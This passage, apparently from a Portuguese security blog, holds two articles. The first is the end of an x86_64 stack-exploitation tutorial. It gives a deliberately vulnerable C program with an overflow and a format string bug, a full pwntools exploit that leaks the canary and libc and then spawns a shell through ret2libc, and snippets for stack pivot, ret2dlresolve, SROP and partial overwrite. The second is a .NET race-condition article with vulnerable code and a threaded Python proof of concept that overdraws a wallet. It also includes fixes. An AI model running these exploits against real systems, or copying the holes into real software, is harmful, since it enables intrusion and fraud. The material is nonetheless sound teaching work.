Escrita arbitrária (%n/%hn/%hhn) → sobrescrever GOT, hooks, return address
Bypass de todas as proteções: leak canário + leak libc + leak PIE + write ROP chain

Por isso format string é considerada uma das vulnerabilidades mais poderosas em binários. Com uma única primitiva você derrota todas as proteções.

11. Exemplo Completo: Exploração End-to-End com Todas as Proteções

Agora vamos juntar tudo num cenário mais realista: um binário com NX, ASLR, Stack Canary e Partial RELRO (sem PIE pra manter acessível a quem está começando).

11.1 O programa vulnerável

/* vuln_full.c - Cenário realista com múltiplas proteções */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void setup() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

void menu() {
    puts("=== Sistema de Notas ===");
    puts("1. Deixar nota");
    puts("2. Ver nota");
    puts("3. Sair");
    printf("> ");
}

char nota[256];

void deixar_nota() {
    char temp[64];
    printf("Sua nota: ");
    read(STDIN_FILENO, temp, 200);  /* OVERFLOW! buffer de 64, lê 200 */
    strncpy(nota, temp, 255);
    puts("Nota salva!");
}

void ver_nota() {
    printf("Nota: ");
    printf(nota);  /* FORMAT STRING! nota é controlada pelo usuário */
    puts("");
}

int main() {
    setup();
    int choice;

    while (1) {
        menu();
        scanf("%d", &choice);
        getchar();  /* Consumir newline */

        switch (choice) {
            case 1: deixar_nota(); break;
            case 2: ver_nota(); break;
            case 3: exit(0);
            default: puts("Opção inválida.");
        }
    }
    return 0;
}

# Compilar com proteções realistas (exceto PIE)
$ gcc -o vuln_full vuln_full.c -no-pie -fstack-protector-all -g
# Resultado: NX ativo, Canary ativo, ASLR ativo, Partial RELRO, sem PIE
$ checksec --file=./vuln_full
[*] '/tmp/vuln_full'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

11.2 Plano de ataque

Format string (opção 2) → vazar canário e endereço da libc
Buffer overflow (opção 1) → sobrescrever RIP com ROP chain, preservando canário
ROP chain → ret2libc com system("/bin/sh")

11.3 Exploit completo

#!/usr/bin/env python3
"""
Exploit: Full protection bypass (NX + ASLR + Canary)
Alvo: vuln_full
Cadeia: Format String leak → Canary bypass → ret2libc
Proteções: NX ✓, ASLR ✓, Canary ✓, Partial RELRO, No PIE
"""
from pwn import *

# ═══════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════
context.binary = elf = ELF('./vuln_full')
context.log_level = 'info'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Gadgets no binário (fixos, sem PIE)
POP_RDI = 0x401303  # ROPgadget --binary ./vuln_full | grep "pop rdi"
RET     = 0x40101a  # ret (alinhamento)

def choose(p, option):
    p.recvuntil(b"> ")
    p.sendline(str(option).encode())

def exploit():
    p = process('./vuln_full')

    # ═══════════════════════════════════════════
    # FASE 1: Leak via format string
    # ═══════════════════════════════════════════
    log.info("═" * 50)
    log.info("FASE 1: Information leak via format string")
    log.info("═" * 50)

    # Primeiro, descobrir offsets do canário e de um endereço libc na stack
    # Deixar nota com format string de reconhecimento
    choose(p, 1)
    p.recvuntil(b"Sua nota: ")
    # Vazar múltiplas posições para encontrar canário e endereço libc
    p.send(b"%11$p.%13$p.%15$p.%17$p.%19$p.%21$p.%23$p.%25$p")

    # Ver nota (executa o format string)
    choose(p, 2)
    p.recvuntil(b"Nota: ")
    leaked = p.recvline().strip().decode()
    values = leaked.split(".")
    log.info(f"Valores vazados: {values}")

    # Identificar canário (termina em 00, alta entropia)
    # e endereço libc (começa com 0x7f)
    canary = None
    libc_leak = None

    for i, val in enumerate(values):
        if val == "(nil)":
            continue
        try:
            v = int(val, 16)
            # Canário: último byte é 0x00, não começa com 0x7f, não é endereço pequeno
            if (v & 0xFF == 0) and (v > 0xFFFFFFFF) and ((v >> 40) != 0x7f):
                if canary is None:
                    canary = v
                    log.success(f"Canário encontrado no offset {11 + i*2}: {hex(canary)}")
            # Endereço libc: começa com 0x7f
            elif (v >> 40) == 0x7f:
                if libc_leak is None:
                    libc_leak = v
                    log.success(f"Endereço libc no offset {11 + i*2}: {hex(libc_leak)}")
        except:
            continue

    if canary is None or libc_leak is None:
        log.error("Não conseguiu vazar canário ou libc. Ajustar offsets!")
        # Fallback: tentar offsets específicos
        choose(p, 1)
        p.recvuntil(b"Sua nota: ")
        p.send(b"%11$p|%15$p")  # Offsets comuns para canário e __libc_start_main
        choose(p, 2)
        p.recvuntil(b"Nota: ")
        parts = p.recvline().strip().decode().split("|")
        canary = int(parts[0], 16)
        libc_leak = int(parts[1], 16)

    # ═══════════════════════════════════════════
    # FASE 2: Calcular endereços
    # ═══════════════════════════════════════════
    log.info("═" * 50)
    log.info("FASE 2: Calculando endereços")
    log.info("═" * 50)

    # O leak da libc geralmente é __libc_start_main+128 ou similar
    # Precisamos identificar qual função é e calcular o offset
    # Método: subtrair offsets conhecidos e verificar alinhamento de página
    libc_start_main_offset = libc.symbols['__libc_start_main']
    # Heurística: o leak geralmente é __libc_start_main + algum offset
    # Calcular base assumindo offset típico (ajustar conforme necessário)
    libc.address = (libc_leak - libc_start_main_offset - 128) & ~0xFFF  # Alinhar em página

    system_addr = libc.symbols['system']
    bin_sh = next(libc.search(b'/bin/sh'))

    log.success(f"libc base:  {hex(libc.address)}")
    log.info(f"system():   {hex(system_addr)}")
    log.info(f"/bin/sh:    {hex(bin_sh)}")
    log.info(f"canário:    {hex(canary)}")

    # ═══════════════════════════════════════════
    # FASE 3: Buffer overflow com canário correto + ROP
    # ═══════════════════════════════════════════
    log.info("═" * 50)
    log.info("FASE 3: Overflow + ROP chain")
    log.info("═" * 50)

    # Layout de deixar_nota():
    # temp[64] + canário[8] + saved_rbp[8] + saved_rip[8]
    OFFSET_CANARY = 64  # Pode variar! Verificar com GDB

    payload = b"A" * OFFSET_CANARY
    payload += p64(canary)          # Canário correto (bypass!)
    payload += b"B" * 8             # saved RBP
    payload += p64(RET)             # Alinhamento de stack
    payload += p64(POP_RDI)         # pop rdi; ret
    payload += p64(bin_sh)          # RDI = "/bin/sh"
    payload += p64(system_addr)     # system("/bin/sh")

    choose(p, 1)
    p.recvuntil(b"Sua nota: ")
    p.send(payload)

    # Sair do menu para triggerar o ret de deixar_nota()
    # Na verdade, o overflow já aconteceu no read() de deixar_nota()
    # O ret acontece quando deixar_nota() retorna

    log.success("Payload enviado! Shell incoming...")
    p.interactive()

if __name__ == "__main__":
    exploit()

Execução esperada

Quando os offsets estão corretos, a execução fica assim:

$ python3 exploit_full.py
[*] Fase 1: Information leak via format string
[+] Canário vazado: 0xd0a8f2e3b5c71200
[+] Endereço libc: 0x7f89bba81060
[*] Fase 2: Calculando endereços
[+] libc base:  0x7f89bb9ff000
[*] system():   0x7f89bba53790
[*] /bin/sh:    0x7f89bbba9ea4
[*] Fase 3: Overflow + ROP chain
[+] Payload enviado! Shell incoming...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

Três proteções bypassadas em sequência: format string vaza o canário e um endereço da libc, o overflow preserva o canário correto, e a ROP chain chama system("/bin/sh") com endereços calculados.

11.4 Notas sobre o exploit

Os offsets do format string precisam ser descobertos empiricamente. Eles variam conforme compilador, otimizações e layout da stack.

O offset do canário no buffer pode não ser exatamente 64. O compilador pode adicionar padding. Verificar com GDB:

(gdb) disas deixar_nota
# Procurar: mov rax, QWORD PTR fs:0x28 → mov QWORD PTR [rbp-0x??], rax
# O offset do canário é rbp - 0x??

A identificação do leak da libc requer saber qual função/offset foi vazado. Técnica: vazar __libc_start_main_ret (endereço de retorno de __libc_start_main na stack) e subtrair o offset conhecido.

12. Ferramentas Essenciais

12.1 GDB com extensões

O GDB puro é funcional mas pouco amigável. Use uma extensão:

pwndbg (recomendado para exploração):

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg && ./setup.sh

GEF (alternativa leve):

$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Comandos essenciais:

(gdb) checksec              # Verificar proteções
(gdb) vmmap                 # Mapa de memória
(gdb) canary                # Mostrar valor do canário
(gdb) telescope $rsp 20    # Visualizar stack
(gdb) rop --grep "pop rdi" # Buscar gadgets
(gdb) cyclic 200           # Gerar padrão para encontrar offset
(gdb) cyclic -l 0x61616168 # Calcular offset do padrão
(gdb) heap                  # Visualizar heap
(gdb) got                   # Mostrar GOT entries
(gdb) plt                   # Mostrar PLT entries

12.2 pwntools

Framework Python para exploração de binários:

$ pip install pwntools

Funcionalidades principais:

from pwn import *

# Conexão
p = process('./programa')           # Local
p = remote('ctf.exemplo.com', 1337) # Remoto

# I/O
p.send(b"dados")
p.sendline(b"dados\n")
p.recvuntil(b"prompt: ")
p.recvline()
p.interactive()

# Packing
p64(0xdeadbeef)          # Pack 64-bit little-endian
u64(b"\xef\xbe\xad\xde\x00\x00\x00\x00")  # Unpack

# ELF analysis
elf = ELF('./programa')
elf.symbols['main']      # Endereço de main
elf.plt['puts']          # puts@PLT
elf.got['puts']          # puts@GOT

# ROP
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])
rop.call('puts', [elf.got['puts']])
rop.chain()

# Shellcraft
shellcode = asm(shellcraft.sh())  # Shellcode para shell
shellcode = asm(shellcraft.cat('/flag'))  # Ler arquivo

# Cyclic (encontrar offset)
cyclic(200)              # Gerar padrão
cyclic_find(0x61616168)  # Encontrar offset

12.3 Outras ferramentas

Ferramenta	Uso
`checksec`	Verificar proteções de binário
`ROPgadget`	Encontrar gadgets ROP
`ropper`	Alternativa ao ROPgadget, gera chains
`one_gadget`	Encontrar gadgets “mágicos” na libc
`Ghidra`	Decompilação e análise estática
`radare2/rizin`	Framework de reversing via CLI
`objdump`	Disassembly rápido
`readelf`	Informações sobre ELF
`ltrace/strace`	Trace de chamadas de biblioteca/sistema
`seccomp-tools`	Analisar filtros seccomp
`patchelf`	Modificar ELF (trocar libc, linker)
`pwninit`	Setup automático de ambiente (libc, linker)

12.4 Workflow típico de exploração

checksec ./programa          → Identificar proteções
file ./programa              → Arquitetura, linking
Ghidra/IDA                   → Entender lógica, encontrar vulns
GDB + pwndbg                 → Análise dinâmica, encontrar offsets
ROPgadget                    → Coletar gadgets
one_gadget libc.so.6         → Verificar atalhos
pwntools                     → Escrever exploit
Testar local → Testar remoto

13. Técnicas Avançadas: Além do Básico

Aqui entram técnicas que vão além do escopo do artigo original, mas que são essenciais pra exploração moderna. Cada uma delas merecia um artigo próprio, mas vou dar uma visão geral pra vocês saberem que existem e onde procurar mais.

13.1 Stack Pivot

Quando o overflow é limitado (poucos bytes após o RIP), podemos redirecionar o RSP para uma região maior que controlamos:

Situação: overflow de apenas 16 bytes após saved RIP (cabe 2 gadgets)
Solução: usar "leave; ret" para mover RSP para buffer controlado

leave = mov rsp, rbp; pop rbp
Se controlarmos RBP (saved RBP no overflow), podemos apontar RSP para qualquer lugar!

# Stack pivot: RBP aponta para buffer controlado, leave;ret move RSP para lá
LEAVE_RET = 0x4011a8  # leave; ret gadget
BUFFER_ADDR = 0x404100  # Endereço de buffer controlado (ex: .bss, variável global)

# Primeiro: escrever ROP chain no buffer controlado (via outra primitiva)
# Depois: overflow com:
payload = b"A" * 64
payload += p64(BUFFER_ADDR)  # saved RBP → aponta para nosso buffer
payload += p64(LEAVE_RET)    # saved RIP → leave; ret (pivota stack)

13.2 ret2dlresolve

Técnica avançada que abusa do dynamic linker para resolver símbolos arbitrários, sem precisar de leak da libc:

from pwn import *

context.binary = elf = ELF('./vuln5')

# pwntools automatiza ret2dlresolve!
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
rop.read(0, dlresolve.data_addr)  # Ler payload para .bss
rop.ret2dlresolve(dlresolve)       # Resolver e chamar system("/bin/sh")

payload = b"A" * 72 + rop.chain()

p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
sleep(0.5)
p.send(dlresolve.payload)  # Enviar estruturas fake para .bss
p.interactive()

13.3 SROP (Sigreturn-Oriented Programming)

Usa a syscall sigreturn para carregar todos os registradores de uma vez a partir de um frame na stack:

from pwn import *

context.arch = 'amd64'

# sigreturn restaura TODOS os registradores de um "signal frame" na stack
frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = bin_sh_addr # "/bin/sh"
frame.rsi = 0           # NULL
frame.rdx = 0           # NULL
frame.rip = syscall_addr # syscall gadget

# Payload: trigger sigreturn, que carrega o frame e executa execve
payload = b"A" * offset
payload += p64(pop_rax)      # pop rax; ret
payload += p64(15)           # 15 = __NR_rt_sigreturn
payload += p64(syscall_addr) # syscall (executa sigreturn)
payload += bytes(frame)      # Signal frame com registradores desejados

13.4 Partial Overwrite (bypass PIE)

Com PIE ativo, endereços do binário são randomizados. Mas os últimos 12 bits (3 nibbles) são sempre fixos (alinhamento de página de 4KB). Podemos sobrescrever apenas 1-2 bytes do endereço de retorno:

# Endereço original de retorno: 0x5555555551a8 (retorno para main)
# Endereço de win():            0x555555555142
# Diferença: apenas nos últimos 2 bytes!

# Sobrescrever apenas os 2 bytes menos significativos:
payload = b"A" * offset
payload += b"\x42\x51"  # Sobrescreve apenas 2 bytes do RIP
# 0x5555555551a8 → 0x555555555142 (win!)
# Funciona 1/16 das vezes (4 bits de entropia no nibble que muda)

13.5 One Gadget

Gadgets na libc que dão shell diretamente, sem precisar de ROP chain complexa:

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Se as constraints forem satisfeitas no momento do jump, basta um único endereço para obter shell:

one_gadget = libc.address + 0x4f2a5
payload = b"A" * offset + p64(one_gadget)

14. Exercícios Práticos

Para consolidar o conhecimento, aqui estão exercícios progressivos:

Nível 1: Fundamentos

Compile vuln1.c e encontre o offset exato até o RIP usando cyclic do pwntools
Redirecione a execução para uma função win() que você adicionar ao código
Repita com buffer de tamanhos diferentes (32, 128, 256 bytes)

Nível 2: Shellcode

Escreva um shellcode x64 que execute execve("/bin/sh", NULL, NULL) sem null bytes
Explore vuln3.c com seu shellcode (stack executável, sem ASLR)
Modifique o shellcode para ler /etc/passwd em vez de dar shell (syscall read + write)

Nível 3: ROP

Explore vuln5.c usando ret2libc (com ASLR desabilitado)
Encontre gadgets no binário e construa uma ROP chain manual para execve
Repita com ASLR ativo: faça leak via puts@PLT e calcule a base da libc

Nível 4: Proteções

Explore vuln7.c: use format string para vazar o canário, depois faça overflow
Combine leak de canário + leak de libc + ROP em um único exploit
Explore um binário com PIE usando partial overwrite

Nível 5: CTF

Resolva desafios de pwn em plataformas como:
- pwnable.kr
- pwnable.tw
- ROP Emporium (progressão didática de ROP)
- Nightmare (writeups organizados por técnica)
- picoCTF (CTF para iniciantes)

15. Comparação Resumida: x86 vs x86_64

Aspecto	x86 (artigo original)	x86_64 (este artigo)
Tamanho de endereço	4 bytes	8 bytes
Registrador de instrução	EIP	RIP
Registrador de stack	ESP	RSP
Registrador de frame	EBP	RBP
Passagem de argumentos	Todos na stack	6 primeiros em registradores
Endereço de retorno	[EBP + 4]	[RBP + 8]
Null bytes em endereços	Raro	Sempre (endereços canônicos)
Alinhamento de stack	4 bytes	16 bytes (obrigatório antes de call)
Shellcode syscall	`int 0x80`	`syscall`
Syscall args	EBX, ECX, EDX, ESI, EDI, EBP	RDI, RSI, RDX, R10, R8, R9
Syscall number	EAX	RAX
NOP sled efetividade	Alta (endereços previsíveis)	Baixa (ASLR 47 bits)
ret2libc	Trivial (args na stack)	Requer gadget pop rdi
Brute force ASLR	Viável (2¹⁶ tentativas)	Inviável (2³⁰+ tentativas)
Proteções típicas	Nenhuma (1996)	NX + ASLR + Canary + PIE + RELRO

16. Conclusão

O “Smashing the Stack for Fun and Profit” do Aleph One estabeleceu as bases da exploração de binários em 1996. Trinta anos depois, os conceitos fundamentais permanecem os mesmos:

A stack cresce para baixo
Variáveis locais ficam abaixo do endereço de retorno
Um overflow pode sobrescrever o endereço de retorno
Controlar o fluxo de execução = comprometer o programa

O que mudou é a complexidade da exploração:

Antes: overflow → shellcode na stack → shell
Agora: overflow → leak canário → leak libc → calcular gadgets → ROP chain → shell

As proteções modernas (NX, ASLR, Canaries, PIE, RELRO) não eliminaram buffer overflows. Elas elevaram a barra. Cada proteção pode ser contornada individualmente, e a arte da exploração moderna está no encadeamento de técnicas para derrotar múltiplas proteções simultaneamente.

Eu acho isso bonito, sinceramente. A corrida armamentista entre defesa e ataque fez com que a área evoluísse de forma absurda. O que era um truque simples em 1996 virou uma disciplina inteira de engenharia reversa, matemática e criatividade. E o paper do Aleph One continua sendo o ponto de partida perfeito pra entender tudo isso.

O que vem depois?

Heap exploitation: use-after-free, double free, tcache poisoning. Uma classe inteira de vulnerabilidades com técnicas próprias
Kernel exploitation: mesmos conceitos, mas no ring 0 com proteções adicionais (SMEP, SMAP, KASLR, KPTI)
Browser exploitation: JIT spraying, type confusion em engines JavaScript, sandbox escape
Fuzzing: descoberta automatizada de crashes com AFL++, libFuzzer, honggfuzz
Symbolic execution: análise automatizada de paths com angr, KLEE

Referências

Aleph One, “Smashing the Stack for Fun and Profit”, Phrack 49, 1996
Solar Designer, “Getting around non-executable stack (and fix)”, 1997 (primeiro ret2libc)
Hovav Shacham, “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)”, CCS 2007 (paper original de ROP)
Erik Bosman, “Framing Signals: A Return to Portable Shellcode”, IEEE S&P 2014 (SROP)
System V AMD64 ABI specification
Intel® 64 and IA-32 Architectures Software Developer’s Manual

Artigo escrito em maio de 2026. Testado em Kali Linux 6.19.11 x86_64 com GCC 15.2, GDB 17.1 + pwndbg, e pwntools 4.15.0.

Se esse artigo te ajudou de alguma forma, compartilha com a comunidade. O Brasil precisa de mais conteúdo técnico de qualidade em português sobre segurança ofensiva.

Race Condition em APIs .NET: do conceito à exploração

Tue, 05 May 2026 00:00:00 +0000

O que é uma race condition?

Uma race condition acontece quando dois ou mais processos concorrentes acessam e manipulam um recurso compartilhado ao mesmo tempo, e o resultado final depende da ordem exata em que as operações são executadas. Em aplicações web, isso se manifesta quando múltiplas requisições HTTP chegam simultaneamente e o servidor processa cada uma em threads separadas sem garantir atomicidade nas operações críticas.

O padrão clássico é o TOCTOU (Time of Check to Time of Use): o sistema verifica uma condição, e entre essa verificação e a ação subsequente, outra thread altera o estado. O resultado é que a ação executa com base em uma premissa que já não é verdadeira.

Por que isso importa em APIs .NET?

O ASP.NET Core processa requisições de forma concorrente por padrão. Cada requisição é atendida por uma thread do thread pool, e se duas requisições manipulam o mesmo recurso no banco de dados sem controle de concorrência, o resultado é imprevisível.

Considere um cenário real: um endpoint de transferência bancária que verifica o saldo antes de debitar. Se duas requisições de transferência chegam no mesmo milissegundo, ambas leem o saldo original, ambas validam que há fundos suficientes, e ambas debitam. O usuário gastou o dobro do que tinha.

API vulnerável

Vamos construir uma API completa que demonstra o problema. O cenário é uma carteira digital com endpoint de transferência entre usuários.

// Models/Wallet.cs
public class Wallet
{
    public int Id { get; set; }
    public int UserId { get; set; }
    public decimal Balance { get; set; }
}

public class TransferRequest
{
    public int FromUserId { get; set; }
    public int ToUserId { get; set; }
    public decimal Amount { get; set; }
}

// Data/AppDbContext.cs
public class AppDbContext : DbContext
{
    public DbSet<Wallet> Wallets { get; set; }

    public AppDbContext(DbContextOptions<AppDbContext> options) : base(options) { }

    protected override void OnModelCreating(ModelBuilder modelBuilder)
    {
        modelBuilder.Entity<Wallet>().HasData(
            new Wallet { Id = 1, UserId = 1, Balance = 1000.00m },
            new Wallet { Id = 2, UserId = 2, Balance = 500.00m }
        );
    }
}

// Controllers/TransferController.cs
[ApiController]
[Route("api/[controller]")]
public class TransferController : ControllerBase
{
    private readonly AppDbContext _context;

    public TransferController(AppDbContext context)
    {
        _context = context;
    }

    [HttpPost]
    public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
    {
        // 1. Busca a carteira de origem
        var fromWallet = await _context.Wallets
            .FirstOrDefaultAsync(w => w.UserId == request.FromUserId);

        if (fromWallet is null)
            return NotFound("Carteira de origem não encontrada.");

        // 2. Verifica saldo (TIME OF CHECK)
        if (fromWallet.Balance < request.Amount)
            return BadRequest("Saldo insuficiente.");

        // 3. Busca a carteira de destino
        var toWallet = await _context.Wallets
            .FirstOrDefaultAsync(w => w.UserId == request.ToUserId);

        if (toWallet is null)
            return NotFound("Carteira de destino não encontrada.");

        // 4. Executa a transferência (TIME OF USE)
        fromWallet.Balance -= request.Amount;
        toWallet.Balance += request.Amount;

        await _context.SaveChangesAsync();

        return Ok(new
        {
            message = "Transferência realizada.",
            saldoOrigem = fromWallet.Balance,
            saldoDestino = toWallet.Balance
        });
    }

    [HttpGet("balance/{userId}")]
    public async Task<ActionResult> GetBalance(int userId)
    {
        var wallet = await _context.Wallets
            .FirstOrDefaultAsync(w => w.UserId == userId);

        if (wallet is null)
            return NotFound();

        return Ok(new { userId = wallet.UserId, balance = wallet.Balance });
    }
}

// Program.cs
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddControllers();
builder.Services.AddDbContext<AppDbContext>(options =>
    options.UseSqlite("Data Source=wallets.db"));

var app = builder.Build();

using (var scope = app.Services.CreateScope())
{
    var db = scope.ServiceProvider.GetRequiredService<AppDbContext>();
    db.Database.EnsureCreated();
}

app.MapControllers();
app.Run();

Onde está a vulnerabilidade?

O problema está na janela temporal entre a verificação do saldo (passo 2) e a atualização efetiva (passo 4). Quando a thread lê o saldo no passo 2, ela obtém um snapshot daquele momento. Se outra thread está executando o mesmo fluxo simultaneamente, ela também lê o mesmo saldo original.

Visualmente:

Thread A: Lê saldo = 1000 → Verifica 1000 >= 900 ✓ → Debita → Saldo = 100
Thread B: Lê saldo = 1000 → Verifica 1000 >= 900 ✓ → Debita → Saldo = 100

Ambas as threads leram 1000 antes de qualquer uma debitar. O resultado final é que o usuário transferiu 1800 tendo apenas 1000 de saldo. O saldo final fica em -800 ou 100, dependendo de qual SaveChangesAsync executa por último (last write wins).

O Entity Framework Core, por padrão, não aplica locks pessimistas nas leituras. O FirstOrDefaultAsync emite um SELECT simples sem FOR UPDATE. Isso significa que não há nenhuma barreira impedindo leituras concorrentes do mesmo registro.

Fatores que amplificam a exploração

Alguns fatores tornam essa race condition mais fácil de explorar na prática:

Latência de rede artificial: se o endpoint faz chamadas externas (validação de fraude, notificações, logging) entre o check e o use, a janela de exploração aumenta.

Connection pooling do EF Core: cada requisição pode obter uma conexão diferente do pool, o que significa transações completamente isoladas uma da outra.

Kestrel e thread pool: o ASP.NET Core é otimizado para alta concorrência. Requisições simultâneas são processadas em paralelo de verdade, não serializadas.

Ausência de índice UNIQUE em constraints de negócio: se não há constraint no banco impedindo saldo negativo, o banco aceita o UPDATE sem reclamar.

Proof of Concept em Python

O exploit envia múltiplas requisições de transferência simultaneamente, todas pelo valor máximo do saldo. Se a race condition existir, mais de uma será bem sucedida.

#!/usr/bin/env python3
"""
PoC: Race Condition em endpoint de transferência
Alvo: API .NET com TOCTOU em verificação de saldo
Autor: R0Z
Ambiente: Autorizado

Uso:
  python3 race_transfer.py --target http://localhost:5000 --threads 20 --amount 900
"""

import argparse
import threading
import requests
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed


def get_balance(target: str, user_id: int) -> dict:
    r = requests.get(f"{target}/api/transfer/balance/{user_id}", timeout=10)
    return r.json() if r.status_code == 200 else None


def send_transfer(target: str, from_user: int, to_user: int, amount: float) -> dict:
    payload = {
        "fromUserId": from_user,
        "toUserId": to_user,
        "amount": amount
    }
    try:
        r = requests.post(
            f"{target}/api/transfer",
            json=payload,
            timeout=10
        )
        return {"status": r.status_code, "body": r.json() if r.status_code == 200 else r.text}
    except Exception as e:
        return {"status": 0, "body": str(e)}


def exploit(target: str, threads: int, amount: float, from_user: int, to_user: int):
    print(f"[*] Alvo: {target}")
    print(f"[*] Transferência: User {from_user} → User {to_user}, valor: {amount}")
    print(f"[*] Threads simultâneas: {threads}")

    # Verifica saldo antes
    balance_before = get_balance(target, from_user)
    if balance_before is None:
        print("[-] Não foi possível obter saldo inicial.")
        sys.exit(1)

    print(f"[*] Saldo inicial (User {from_user}): {balance_before['balance']}")

    # Barreira para sincronizar todas as threads
    barrier = threading.Barrier(threads)

    def attack():
        barrier.wait()  # Todas as threads disparam juntas
        return send_transfer(target, from_user, to_user, amount)

    # Dispara todas as requisições simultaneamente
    print(f"[*] Disparando {threads} requisições simultâneas...")
    results = []
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = [executor.submit(attack) for _ in range(threads)]
        for future in as_completed(futures):
            results.append(future.result())

    # Analisa resultados
    success_count = sum(1 for r in results if r["status"] == 200)
    fail_count = sum(1 for r in results if r["status"] != 200)

    print(f"\n[*] Resultados:")
    print(f"    Sucesso: {success_count}")
    print(f"    Falha: {fail_count}")

    # Verifica saldo depois
    balance_after = get_balance(target, from_user)
    if balance_after:
        print(f"\n[*] Saldo final (User {from_user}): {balance_after['balance']}")

        total_debitado = float(balance_before['balance']) - float(balance_after['balance'])
        saldo_original = float(balance_before['balance'])

        if total_debitado > saldo_original:
            print(f"[+] RACE CONDITION CONFIRMADA!")
            print(f"[+] Saldo original: {saldo_original}")
            print(f"[+] Total debitado: {total_debitado}")
            print(f"[+] Excesso: {total_debitado - saldo_original}")
        elif success_count > 1:
            print(f"[+] Múltiplas transferências aceitas ({success_count}x).")
            print(f"[+] Total transferido: {success_count * amount} (saldo era {saldo_original})")
        else:
            print("[-] Race condition não explorada nesta tentativa. Tente aumentar --threads.")


def main():
    parser = argparse.ArgumentParser(description="PoC Race Condition - Transfer endpoint")
    parser.add_argument("--target", default="http://localhost:5000")
    parser.add_argument("--threads", type=int, default=20)
    parser.add_argument("--amount", type=float, default=900.0)
    parser.add_argument("--from-user", type=int, default=1)
    parser.add_argument("--to-user", type=int, default=2)
    args = parser.parse_args()

    exploit(args.target, args.threads, args.amount, args.from_user, args.to_user)


if __name__ == "__main__":
    main()

Executando contra a API vulnerável:

$ python3 race_transfer.py --target http://localhost:5000 --threads 20 --amount 900

[*] Alvo: http://localhost:5000
[*] Transferência: User 1 → User 2, valor: 900.0
[*] Threads simultâneas: 20
[*] Saldo inicial (User 1): 1000.00
[*] Disparando 20 requisições simultâneas...

[*] Resultados:
    Sucesso: 4
    Falha: 16

[*] Saldo final (User 1): -2600.00
[+] RACE CONDITION CONFIRMADA!
[+] Saldo original: 1000.0
[+] Total debitado: 3600.0
[+] Excesso: 2600.0

O usuário tinha 1000 e conseguiu transferir 3600 (4 requisições de 900 passaram pela validação antes de qualquer débito ser persistido).

Como corrigir

Existem algumas abordagens para resolver o problema. Vou apresentar do mais simples ao mais robusto.

Opção 1: Pessimistic locking no banco

Usar SELECT ... FOR UPDATE via raw SQL para travar o registro durante a transação:

[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
    await using var transaction = await _context.Database.BeginTransactionAsync(
        System.Data.IsolationLevel.Serializable);

    try
    {
        var fromWallet = await _context.Wallets
            .FromSqlRaw("SELECT * FROM Wallets WHERE UserId = {0} FOR UPDATE", request.FromUserId)
            .FirstOrDefaultAsync();

        if (fromWallet is null)
            return NotFound("Carteira de origem não encontrada.");

        if (fromWallet.Balance < request.Amount)
            return BadRequest("Saldo insuficiente.");

        var toWallet = await _context.Wallets
            .FromSqlRaw("SELECT * FROM Wallets WHERE UserId = {0} FOR UPDATE", request.ToUserId)
            .FirstOrDefaultAsync();

        if (toWallet is null)
            return NotFound("Carteira de destino não encontrada.");

        fromWallet.Balance -= request.Amount;
        toWallet.Balance += request.Amount;

        await _context.SaveChangesAsync();
        await transaction.CommitAsync();

        return Ok(new { message = "Transferência realizada.", saldoOrigem = fromWallet.Balance });
    }
    catch
    {
        await transaction.RollbackAsync();
        return Conflict("Operação concorrente detectada. Tente novamente.");
    }
}

O FOR UPDATE trava o registro no banco até o COMMIT. Qualquer outra transação que tente ler o mesmo registro fica bloqueada esperando. Isso serializa as operações no mesmo recurso.

Nota: SQLite não suporta FOR UPDATE. Essa abordagem funciona com PostgreSQL, MySQL e SQL Server (que usa WITH (UPDLOCK, ROWLOCK) ao invés de FOR UPDATE).

Opção 2: Optimistic concurrency com EF Core

Adicionar um campo de versão na entidade e deixar o EF Core detectar conflitos:

public class Wallet
{
    public int Id { get; set; }
    public int UserId { get; set; }
    public decimal Balance { get; set; }

    [Timestamp]
    public byte[] RowVersion { get; set; }
}

[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
    const int maxRetries = 3;

    for (int attempt = 0; attempt < maxRetries; attempt++)
    {
        try
        {
            var fromWallet = await _context.Wallets
                .FirstOrDefaultAsync(w => w.UserId == request.FromUserId);

            if (fromWallet is null)
                return NotFound("Carteira de origem não encontrada.");

            if (fromWallet.Balance < request.Amount)
                return BadRequest("Saldo insuficiente.");

            var toWallet = await _context.Wallets
                .FirstOrDefaultAsync(w => w.UserId == request.ToUserId);

            if (toWallet is null)
                return NotFound("Carteira de destino não encontrada.");

            fromWallet.Balance -= request.Amount;
            toWallet.Balance += request.Amount;

            await _context.SaveChangesAsync();
            return Ok(new { message = "Transferência realizada.", saldoOrigem = fromWallet.Balance });
        }
        catch (DbUpdateConcurrencyException)
        {
            // Outra thread modificou o registro. Recarrega e tenta novamente.
            _context.ChangeTracker.Clear();
        }
    }

    return Conflict("Não foi possível completar a operação. Tente novamente.");
}

